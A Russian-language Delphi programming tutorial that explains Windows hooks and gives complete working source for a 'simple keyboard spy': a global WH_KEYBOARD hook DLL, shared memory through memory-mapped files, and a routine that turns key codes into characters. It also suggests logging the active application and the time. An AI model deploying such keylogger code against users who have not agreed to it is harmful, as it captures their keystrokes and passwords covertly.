Ловушки в Microsoft Windows

Когда то давно возникла у меня необходимость написать программку для создания скриншотов. А именно пользователь выделяет мышью необходимую ему область на экране, затем отпускает кнопку и получает скриншот. В то время я про ловушки еще не знал. Несколько дней я “бился” над поставленной задачей, но мои эксперименты так и ни к чему, ни привели. Почитав различную литературу и статьи, и узнав, что такое ловушки, и с чем их “едят”, я принялся экспериментировать дальше. А начал я с книги Михаила Фленова «Программирование в Delphi глазами хакера». На то время, все то, что я почерпал из его книги, мне показалось довольно легко, но только потом я понял (когда в этом деле поднабрался опыта), что сильно ошибся.

А обстояло все это дело так: я переписал его код, кое что добавил свое и в ожидании того, чего я ждал так долго, что это, наконец, и есть, то, что нужно. Но пару тестов и результат нулевой. Все я уже почти был готов сдаться. Но на этих пробах и ошибках мои знания только увеличивались. Но что толку, тогда думал я. Ведь я так и не написал, то, что было нужно. Все те статьи, которые я нашел в Интернете, тоже не помогали. А у большинства людей были те же проблемы, как и у меня. Почему перехват событий происходит только в моей программе? Как передать значения из ловушки в основную программу? Ведь я написал глобальную ловушку? Ведь ловушка размещена в библиотеке, а не в модуле. Ведь данные, полученные из ловушки нужно где то сохранять. Ладно, еще можно попытаться писать в текстовый файл (если это простенький клавиатурный шпион). Но писать в файл из библиотеки категорически не рекомендуется. Я на своих экспериментах в этом убедился. А что если писать скриншоты, это уже не текст и соответственно время записи уже не такое. Позже случилось так, что я забросил это дело, хотя и возвращался время от времени, все хотел понять, что я делаю не так.

Но произошло чудо. Попала ко мне в руки книга Юрия Ревича “Нестандартные приемы программирования на Delphi”. Полистав которую, я был немного шокирован, вот оно то, что мне нужно. А не получалось ранее, потому что нужно передавать значения из ловушки через MAP файлы (Memory Mapped Files) – отображение файла на память.

Ну что начинаем писать шпиона?

И так все постепенно…
В операционной системе Microsoft Windows ловушкой называется механизм перехвата особой функцией событий (таких как сообщения, ввод с мыши или клавиатуры) до того, как они дойдут до приложения. Эта функция может затем реагировать на события и, в некоторых случаях, изменять или отменять их. Функции, получающие уведомления о событиях, называются фильтрующими функциями и различаются по типам перехватываемых ими событий. Пример – фильтрующая функция для перехвата всех событий мыши или клавиатуры. Чтобы Windows смогла вызывать функцию фильтр, эта функция должна быть установлена, то есть, прикреплена к ловушке (например, к клавиатурной ловушке).

Все, хватит теории, начинаем писать. Мы напишем простой клавиатурный шпион. Почему простой? Да потому что шпион должен не только перехватывать нажатые клавиши, а также следить за приложениями, в которых эти клавиши нажимались. Еще можно записывать и время запуска ловушки, приложения которое имело на момент нажатия клавиш фокус ввода и т.д. Но это вы уже сможете реализовать сами.
Создаем новый проект. Бросаем TMemo и две кнопки:

окно клавиатурного шпиона

Затем объявляем константу с пользовательским сообщением:

const
  WM_ReadWithHook = WM_USER + 120;

Теперь нам надо импортировать процедуры запуска и удаления ловушки. Хотя библиотека еще не написана, но это так, чтобы потом не возвращаться. Добавьте у себя такие вот строки:

 procedure SetHook; stdcall; external 'Keyhook.dll';
 procedure DelHook; stdcall; external 'Keyhook.dll';

На следующем шаге создадим, обработчики для кнопок и в них напишем следующий код:

procedure TPrimary.Button_StartClick(Sender: TObject);
begin
  // Очищаем разделяемую область
  FillChar(DataArea^, SizeOf(DataArea^), 0);
  // Передаем дескриптор нашего окна
  DataArea^.FormHandle := Handle;
  SetHook;
end;

procedure TPrimary.Button_StopClick(Sender: TObject);
begin
  DelHook;
end;

В обработчике кнопки «Start» есть переменные, которые не были объявлены, эти переменные находятся в другом модуле, который мы рассмотрим позже.

Теперь нам необходимо написать обработчик для нашего пользовательского сообщения. Для этого поместите следующий прототип процедуры в область private:

 procedure WM_READHOOK(var Message: TMessage); message WM_ReadWithHook;

Ну а сам обработчик настолько прост, что проще некуда.

procedure TPrimary.WM_READHOOK(var Message: TMessage);
begin
  Memo.Lines.Add(GetCharFromVKey(Message.WParam));
end;

В переменной Message, в параметре Wparam, находится код с виртуальным идентификатором клавиши. Вся проблема в том, что по этому коду мы не можем определить, ни в каком регистре находится символ, ни уж тем более раскладку клавиатуры, при которой он был веден. Именно поэтому я привожу функцию GetCharFromVKey, которая возвращает именно тот символ, который мы ввели. В ней различается и регистр и раскладка.

function TPrimary.GetCharFromVKey(vKey: Word): String;
var
  KeyState: TKeyboardState;
  Retcode: Integer;
  Proc: THandle;
begin
  Proc := GetWindowThreadProcessId(GetForegroundWindow, Proc);
  AttachThreadInput(Proc, GetCurrentThreadId, True);
  Win32Check(GetKeyboardState(KeyState));
  SetLength(Result, 2);
  Retcode := ToAsciiEx(vKey, MapVirtualKey(vKey, 0),
    KeyState, @Result[1], 0, GetKeyboardLayout(Proc));
  case Retcode of
    0: Result := '';
    1: SetLength(Result, 1);
  else
    Result := '';
  end;
end;

Сама функция предназначена только для конвертирования клавиш по их коду. Поэтому на ней мы останавливаться не будем. Скажу только что, она распознает все символы от A до Z, от a до z, от А до Я и от а до я и т.д. То есть по регистру и по раскладке.

Теперь нам предстоит написать модуль для создания общей разделяемой области. Модуль у меня называется IniHook, с дополнительными секциями initialization и finalization. Создаем новый модуль и называем его IniHook. Подключаем два модуля: Windows и Messages.

Объявим указатель на переменную THookInfo
Затем напишем запись THookInfo.

type
  PHookInfo = ^THookInfo;
  THookInfo = packed record
    FormHandle: THandle;    // Дескриптор окна приложения
    HookHandleKey: THandle; // Дескриптор ловушки
  end;

Далее объявляем две переменные:

var
  DataArea: PHookInfo = nil;
  hMapArea: THandle = 0;

Через переменную DataArea мы будем обращаться к полям записи THookInfo, hMapArea будет содержать дескриптор объекта «проецируемого» файла.

Далее в разделе initialization вызовем функцию CreateFileMapping и присвоим ее возвращенное значение переменной hMapArea. Затем вызовем функцию MapViewOfFile и присвоим ее возвращенное значение переменной DataArea. Исходный код смотрите ниже:

// Создаем файл в памяти
hMapArea := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,
SizeOf(DataArea), 'HookKeyboard');
DataArea := MapViewOfFile(hMapArea, FILE_MAP_ALL_ACCESS, 0, 0, 0);

Кратко рассмотрим использованные здесь функции.
Создание и использование объектов файлового отображения осуществляется посредством функций Windows API. Этих функций три:

  • CreateFileMapping;
  • MapViewOfFile;
  • UnMapViewOfFile.

Отображаемый файл создается операционной системой при вызове функции CreateFileMapping. Этот объект поддерживает соответствие между содержимым файла и адресным пространством процесса, использующего этот файл. Функция CreateFiieMapping имеет шесть параметров:

CreateFileMapping(
  hFile: THandle;
  lpFileMappingAttributes: PSecurityAttributes;
  flProtect: DWORD;
  dwMaximumSizeHigh: DWORD;
  dwMaximumSizeLow: DWORD;
  lpName: PChar
): THandle;

Следующая задача – спроецировать данные файла в адресное пространство нашего процесса. Этой цели служит функция MapviewOfFile. Функция MapViewOfFile имеет пять параметров:

MapViewOfFile(
  hFileMappingObject: THandle;
  dwDesiredAccess: DWORD;
  dwFileOffsetHigh: DWORD;
  dwFileOffsetLow: DWORD;
  dwNumberOfBytesToMap: DWORD
): Pointer; stdcall;

Немного отвлеклись? Ну что продолжаем. Далее нам необходимо в разделе finalization написать код, который убирает файл из памяти.

// Убираем файл из памяти
if Assigned(DataArea) then
  UnMapViewOfFile(DataArea);
if hMapArea <> 0 then
  CloseHandle(hMapArea);

Здесь только следует отметить, что функция UnMapViewOfFile должна вызываться перед функцией CloseHandle. То есть ни в коем случае этот порядок нарушать нельзя.

Ну что модуль мы написали, теперь его необходимо подключить к основной программе. Осталось нам написать саму ловушку, которая будет размещаться в библиотеке. А пока идем пить кофе. Попили? Продолжаем. Начните новый проект, только не для написания приложения, а для библиотеки. Для этого нужно выбрать команду File/New/Other, затем перед вами откроется следующее окно:

Выбор заготовки для создания библиотеки

Найдите элемент DLL Wizard и дважды щелкните на нем. И Delphi создаст пустой проект динамической библиотеки. Не забудьте сразу сохраниться. Ниже представлен исходный код моей библиотеки:

library KeyHook;

uses
  Windows, Messages, SysUtils,
  IniHook in '..\IniHook.pas';

const
  WM_ReadWithHook = WM_USER + 120; // Пользовательское сообщение

// Функция обслуживающая ловушку
function KeyboardProc(Code: Integer; wParam: WPARAM; lParam: LPARAM):
    Integer; StdCall;
begin
  if Code < 0 then // Передаем сообщение другим ловушкам в системе
    Result := CallNextHookEx(DataArea^.HookHandleKey, Code, wParam, lParam)
  else
    if Byte(lParam shr 24) < $80 then // Только нажатие клавиши
    begin
      {Считываем и передаем код нажатой клавиши
      Поылаем сообщение главной форме}
      PostMessage(DataArea^.FormHandle, WM_ReadWithHook, wParam, 0);
    end;
    Result := CallNextHookEx(DataArea^.HookHandleKey, Code, wParam, lParam);
end;

// Установка ловушки
procedure SetHook; StdCall;
begin
  DataArea^.HookHandleKey := SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,
    hInstance, 0);
end;

// Удаление ловушки
procedure DelHook; StdCall;
begin
  UnhookWindowsHookEx(DataArea^.HookHandleKey);
end;

// Экспорт процедур
exports
  SetHook, DelHook;

begin
end.

Теперь обо всем по порядку. Для начала необходимо подключить три модуля: Windows, Messages, SysUtils и один наш модуль, а именно IniHook Чтобы мне не держать копии модуля в каталоге самой программы и в каталоге библиотеки я его вынес в общий каталог, в котором находятся каталоги основной программы и библиотеки. Но вы можете его подключить стандартным способом, то есть, объявив его со всеми модулями, только тогда вам придется положить этот модуль в каталог с библиотекой. Это уже дело вкуса.

Теперь, как и в основной программе, мы объявили константу WM_ReadWithHook = WM_USER + 120, для нашего пользовательского сообщения. Функция KeyboardProc – это обработчик нашей ловушки. Эта функция имеет три параметра. Сейчас мы и их рассмотрим более подробно. При установленном типе ловушки WH_KEYBOARD, эти параметры могут иметь следующие значения:

  • nCode: Определяет код использования процедуры ловушки, чтобы определить как обработать сообщение. Этот параметр может иметь несколько значений.
  • AC_ACTIONWParam и LParamпараметры содержат информацию относительно нажатой клавиши. Сообщения другого типа у нас нет необходимости обрабатывать.
    • WParam: Определяет код с виртуальным идентификатором клавиши, которая генерировала сообщение нажатия клавиши.
    • LParam: определяет повторный счет, скэн-код, флажок расширенной клавиши, контекстный код, предыдущий флажок состояния клавиши, и флажок переходного состояния. Этот параметр может иметь комбинацию определенных значений. Но мы их рассматривать не будем, поскольку они в нашем случае не предоставляют интереса.

Функция CallNextHookEx имеет четыре параметра:

  1. (hhk)– дескриптор ловушки, возвращенный функцией SetWindowsHookEx;
  2. (Code) – определяет код перехвата;
  3. (WParam) – определяет приходящую длину в процедуре по обработке ловушки. Его значение зависит от типа установленной ловушки;
  4. (LParam) – определяет приходящую длину в процедуре по обработке ловушки. Его значение зависит от типа установленной ловушки.

В данный момент нас интересует вот эта строка кода:

PostMessage(DataArea^.FormHandle, WM_ReadWithHook, WPARAM, 0);

В этой строке мы передаем команду нашему приложению, в котором вызывается обработчик нашего пользовательского сообщения WM_ReadWithHook = WM_USER + 120 и параметр WPARAM, который содержит код клавиши.

И, на конец я вызываю опять функцию CallNextHookEx, возвращаемое значение которой я передаю в переменную. Я заметил, что так практически никто не делает. Оно то все работает. Но в игре, к примеру «Counter-Strike» при включенной ловушке, были зависания клавиш. А после добавления в конец нашего обработчика функции CallNextHookEx, пришло все в норму.
Процедура SetHook содержит всего лишь одну строку кода:

DataArea^.HookHandleKey := SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,
  hInstance, 0);

Здесь вызывается функция установки ловушки SetWindowsHookEx. У этой функции должно быть четыре параметра:

  1. Тип ловушки. Указан WH_KEYBOARD, эта ловушка контролирует сообщения нажатия клавиш;
  2. Идентификатор, содержащий процедуру ловушки;
  3. Указатель на приложение;
  4. Идентификатор потока. Если параметр равен нулю, то используется текущий.

Процедура DelHook также имеет всего одну строку кода:

UnhookWindowsHookEx(DataArea^.HookHandleKey);

Функция UnhookWindowsHookEx имеет всего один параметр и это дескриптор ловушки.
Процедуры SetHook и DelHook объявлены как экспортные.
Ну вот и все.  Вы можете скачать demo версию или полный исходник проекта.